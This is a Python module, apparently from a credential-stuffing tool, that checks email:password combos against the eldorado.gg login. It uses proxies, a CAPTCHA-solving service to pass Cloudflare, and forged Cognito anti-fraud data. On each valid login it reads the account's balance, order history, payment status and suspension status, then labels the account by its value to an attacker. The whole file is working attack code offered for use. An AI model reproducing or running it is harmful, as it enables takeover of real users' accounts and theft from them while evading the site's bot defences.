import base64 as b64
import hashlib
import json
import secrets
import time
from urllib.parse import unquote, urlencode

from curl_cffi import requests as cffi
from curl_cffi.requests import AsyncSession
from curl_cffi.requests.exceptions import RequestException

from .captcha import solve_cf

_ua = None
_FALLBACK_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"


def get_ua():
    global _ua  # noqa: PLW0603
    if _ua:
        return _ua
    for _ in range(3):
        try:
            resp = cffi.get("https://capmonster.cloud/api/useragent/actual", timeout=5).text.strip()
            if resp:
                _ua = resp
                return _ua
        except RequestException:
            pass
    _ua = _FALLBACK_UA
    return _ua


def _csrf(val):
    p = val.split(".", maxsplit=1)[0]
    p += "=" * (4 - len(p) % 4)
    return json.loads(b64.b64decode(p).decode())["XSRF-TOKEN"]


def _asf(username, dev_id):
    ua = get_ua()
    ctx = {"UserAgent": ua, "DeviceId": dev_id, "DeviceLanguage": "en-US",
           "DeviceFingerprint": ua + "PDF Viewer:Chrome PDF Viewer:Chromium PDF Viewer:Microsoft Edge PDF Viewer:WebKit built-in PDF:en-US",
           "DevicePlatform": "Win32", "ClientTimezone": "03:00"}
    payload = json.dumps({"contextData": ctx, "username": username, "userPoolId": "", "timestamp": str(int(time.time() * 1000))})
    outer = json.dumps({"payload": payload, "signature": b64.b64encode(secrets.token_bytes(32)).decode(), "version": "TS20240811"})
    return b64.b64encode(outer.encode()).decode()


async def check(email, password, proxy, cap_key, solver, timeout, log_fn=None):
    combo = f"{email}:{password}"

    async def _log(msg):
        if log_fn:
            await log_fn(f"{combo} | {msg}")

    cv = secrets.token_urlsafe(96)
    cc = b64.urlsafe_b64encode(hashlib.sha256(cv.encode()).digest()).rstrip(b"=").decode()
    state = secrets.token_urlsafe(24)
    dev_id = secrets.token_hex(8) + ":" + str(int(time.time() * 1000))
    ua = get_ua()
    px = proxy.url

    aurl = "https://login.eldorado.gg/oauth2/authorize?" + urlencode({
        "redirect_uri": "https://www.eldorado.gg/account/auth-callback",
        "response_type": "code",
        "client_id": "3a4hal6jgl8gf5hnnjo06k05s5",
        "identity_provider": "COGNITO",
        "scope": "email openid profile aws.cognito.signin.user.admin",
        "state": state,
        "code_challenge": cc,
        "code_challenge_method": "S256",
        "lang": "en",
    })

    await _log(f"[0] GET {aurl}")
    async with AsyncSession(proxy=px, timeout=timeout) as tmp:
        tmp.headers["User-Agent"] = ua
        try:
            r = await tmp.get(aurl, allow_redirects=False)
        except RequestException as e:
            return "ERROR", f"CF page fetch: {e}"
    await _log(f"[0] {r.status_code}, solving via {solver}")

    html = r.text
    html_for_solver = b64.b64encode(html.encode()).decode() if solver == "capmonster" else html

    if not (cf_cookie := await solve_cf(solver, cap_key, proxy, html_for_solver, aurl, ua, timeout=timeout, log_fn=_log)):
        return "ERROR", "CF solve failed"
    await _log(f"[0] cf_clearance={cf_cookie[:40]}")

    async with AsyncSession(impersonate="chrome", timeout=timeout) as s:
        s.headers["User-Agent"] = ua
        s.cookies.set("cf_clearance", cf_cookie, domain=".eldorado.gg")

        await _log(f"[1] GET {aurl}")
        r = await s.get(aurl, allow_redirects=True, proxy=px)
        await _log(f"[1] {r.status_code}, URL: {r.url}")
        if r.status_code == 403:
            return "ERROR", "CF block (403)"
        if r.status_code != 200:
            return "ERROR", f"GET /login -> {r.status_code}"

        if not (tok := s.cookies.get("XSRF-TOKEN")):
            return "ERROR", "no XSRF-TOKEN cookie"
        login_url = r.url
        verify_url = login_url.replace("/login?", "/verifyPassword?")
        post_hdr = {"Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", "Origin": "https://login.eldorado.gg"}

        try:
            csrf1 = _csrf(unquote(tok))
        except Exception:
            return "ERROR", "bad XSRF-TOKEN cookie"

        await _log(f"[2] POST {login_url}")
        r = await s.post(login_url, data=urlencode({
            "username": f'"{email}"', "csrf": f'"{csrf1}"', "cognitoAsfData": f'"{_asf(email, dev_id)}"',
        }), headers=post_hdr, allow_redirects=False, proxy=px)
        await _log(f"[2] {r.status_code}")

        if r.status_code == 403:
            return "ERROR", "CF block (403)"

        skip3 = False
        if r.status_code == 302:
            loc = r.headers.get("Location", "")
            await _log(f"[2] redirect: {loc}")
            if "verifyPassword" in loc:
                verify_url = ("https://login.eldorado.gg" + loc) if loc.startswith("/") else loc
            elif "passkey" in loc.lower():
                await _log(f"[2] passkey, fallback -> {verify_url}")
                rb = await s.get(verify_url, allow_redirects=True, proxy=px)
                await _log(f"[2] fallback {rb.status_code}")
                if rb.status_code == 403:
                    return "ERROR", "CF block (403)"
                if rb.status_code != 200 or not s.cookies.get("XSRF-TOKEN"):
                    return "INVALID", "not found or passkey-only"
                skip3 = True
            else:
                return "INVALID", f"unexpected redirect: {loc}"
        elif r.status_code != 204:
            return "INVALID", f"POST /login -> {r.status_code}"

        if not skip3:
            await _log(f"[3] GET {verify_url}")
            r = await s.get(verify_url, allow_redirects=True, proxy=px)
            await _log(f"[3] {r.status_code}")
            if r.status_code == 403:
                return "ERROR", "CF block (403)"
            if r.status_code != 200:
                return "INVALID", f"GET /verifyPassword -> {r.status_code}"

        if not (tok2 := s.cookies.get("XSRF-TOKEN")):
            return "ERROR", "no XSRF-TOKEN after verifyPassword"

        try:
            csrf2 = _csrf(unquote(tok2))
        except Exception:
            return "ERROR", "bad XSRF-TOKEN cookie (step4)"

        await _log(f"[4] POST {verify_url}")
        r = await s.post(verify_url, data=urlencode({
            "password": f'"{password}"', "csrf": f'"{csrf2}"', "cognitoAsfData": f'"{_asf("", dev_id)}"',
        }), headers=post_hdr, allow_redirects=False, proxy=px)
        await _log(f"[4] {r.status_code}")

        if r.status_code == 403:
            return "ERROR", "CF block (403)"
        if r.status_code == 400:
            return "INVALID", "wrong password"

        if r.status_code == 302:
            loc = r.headers.get("Location", "")
            await _log(f"[4] redirect: {loc}")
            if all(x in loc for x in ("auth-callback", "code=")):
                # Valid login - extract authorization code and check payment info
                try:
                    from urllib.parse import urlparse, parse_qs
                    parsed = urlparse(loc)
                    params = parse_qs(parsed.query)
                    auth_code = params.get('code', [None])[0]

                    if not auth_code:
                        return "VALID", "No auth code in callback"

                    # Use hardcoded XSRF token
                    xsrf_token = "ed6c5ad28e6e20f3c0b304bd6772687db5ba102142a4831738eed174e2d58e1a"

                    # Call /api/authentication/authenticate to get __Host-EldoradoIdToken
                    auth_payload = {
                        "code": auth_code,
                        "codeVerifier": cv,
                        "redirectUrl": "https://www.eldorado.gg/account/auth-callback"
                    }

                    # Build comprehensive headers matching the browser request
                    auth_headers = {
                        "Sec-Ch-Ua-Platform": '"Windows"',
                        "X-Xsrf-Token": xsrf_token,
                        "X-Device-Id": dev_id.split(":")[0],
                        "X-Ga-Sessionid": "Unknown",
                        "X-Client-Build-Time": "2026-04-09_12:23:38",
                        "Sec-Ch-Ua": '"Not-A.Brand";v="24", "Chromium";v="146"',
                        "Sec-Ch-Ua-Mobile": "?0",
                        "Accept": "application/json, text/plain, */*",
                        "Content-Type": "application/json",
                        "Accept-Language": "en-US,en;q=0.9",
                        "User-Agent": ua,
                        "Origin": "https://www.eldorado.gg",
                        "Sec-Fetch-Site": "same-origin",
                        "Sec-Fetch-Mode": "cors",
                        "Sec-Fetch-Dest": "empty",
                        "Referer": f"https://www.eldorado.gg/account/auth-callback?code={auth_code}&state={state}",
                        "Accept-Encoding": "gzip, deflate, br",
                        "Priority": "u=1, i"
                    }

                    # Set the __Host-XSRF-TOKEN cookie explicitly
                    s.cookies.set("__Host-XSRF-TOKEN", xsrf_token, domain=".eldorado.gg")

                    await _log(f"[5] POST /api/authentication/authenticate")
                    auth_r = await s.post(
                        "https://www.eldorado.gg/api/authentication/authenticate",
                        data=json.dumps(auth_payload),
                        headers=auth_headers,
                        proxy=px
                    )
                    await _log(f"[5] {auth_r.status_code}")

                    if auth_r.status_code == 429:
                        return "RATE_LIMITED", "HTTP 429 - Rate limit exceeded"
                    if auth_r.status_code != 200:
                        return "VALID", f"Auth endpoint failed: HTTP {auth_r.status_code}"

                    # Check user suspension status
                    await _log(f"[6] GET /api/users/me")
                    user_r = await s.get(
                        "https://www.eldorado.gg/api/users/me",
                        headers={"Accept": "application/json"},
                        proxy=px
                    )
                    await _log(f"[6] {user_r.status_code}")

                    is_suspended = False
                    if user_r.status_code == 200:
                        try:
                            user_json = json.loads(user_r.text)
                            suspension = user_json.get("suspension")
                            if suspension and suspension.get("type"):
                                is_suspended = True
                        except:
                            pass

                    # Check orders
                    await _log(f"[7] GET /api/orders/me/buyer/orders")
                    orders_r = await s.get(
                        "https://www.eldorado.gg/api/orders/me/buyer/orders?cursorValue=9999-99-99%2099%3A99%3A99.999999999999999-9999-9999-9999-999999999999&pageSize=20&pageDirection=Next&isAscendingDateOrder=false&ignorePendingReviewOrders=false&displayFilter=DisplayBuyingOrders&orderGroup=Historical",
                        headers={"Accept": "application/json"},
                        proxy=px
                    )
                    await _log(f"[7] {orders_r.status_code}")

                    order_count = 0
                    best_order_amount = 0
                    best_order_date = ""
                    if orders_r.status_code == 200:
                        try:
                            orders_json = json.loads(orders_r.text)
                            results = orders_json.get("results", [])
                            order_count = len(results)

                            # Find the best (highest amount) order
                            for order in results:
                                total_price = order.get("totalPrice", {})
                                amount = total_price.get("amount", 0)
                                if amount > best_order_amount:
                                    best_order_amount = amount
                                    state = order.get("state", {})
                                    best_order_date = state.get("createdDate", "")
                        except:
                            pass

                    # Fetch payment info
                    await _log(f"[8] GET /api/userpayment/me")
                    payment_r = await s.get(
                        "https://www.eldorado.gg/api/userpayment/me",
                        headers={"Accept": "application/json"},
                        proxy=px
                    )
                    await _log(f"[8] {payment_r.status_code}")

                    if payment_r.status_code == 200:
                        try:
                            payment_json = json.loads(payment_r.text)
                            user_payment = payment_json.get("userPaymentPrivateDTO", {})
                            balance_amount = user_payment.get("balance", {}).get("amount", 0)
                            is_purchasing_disabled = user_payment.get("isPurchasingDisabled", True)
                            pending_reviews = user_payment.get("pendingReviews", [])
                            has_pending_reviews = pending_reviews is not None and len(pending_reviews) > 0

                            # Determine result type based on conditions
                            has_balance = balance_amount > 0 and not is_purchasing_disabled and not is_suspended and not has_pending_reviews
                            has_orders = order_count >= 2

                            if has_balance and has_orders:
                                payment_data = f"Balance: ${balance_amount} | Orders: {order_count} | BestOrder: ${best_order_amount} | BestOrderDate: {best_order_date}"
                                return "VALID_WITH_BALANCE_AND_ORDERS", payment_data
                            elif has_balance:
                                payment_data = f"Balance: ${balance_amount} | Orders: {order_count}"
                                return "VALID_WITH_BALANCE", payment_data
                            elif has_orders:
                                payment_data = f"Balance: ${balance_amount} | Orders: {order_count} | BestOrder: ${best_order_amount} | BestOrderDate: {best_order_date}"
                                return "VALID_WITH_ORDERS", payment_data
                            else:
                                payment_data = f"Balance: ${balance_amount} | Orders: {order_count}"
                                return "VALID", payment_data
                        except Exception as e:
                            payment_data = f"Parse error: {str(e)}"
                            return "VALID", payment_data
                    else:
                        payment_data = f"HTTP {payment_r.status_code}"
                        return "VALID", payment_data
                except Exception as e:
                    return "VALID", f"Error checking payment: {str(e)}"
            if "login" in loc.lower() and "verify" not in loc.lower():
                return "INVALID", "not found"

        return "INVALID", f"POST /verifyPassword -> {r.status_code}"
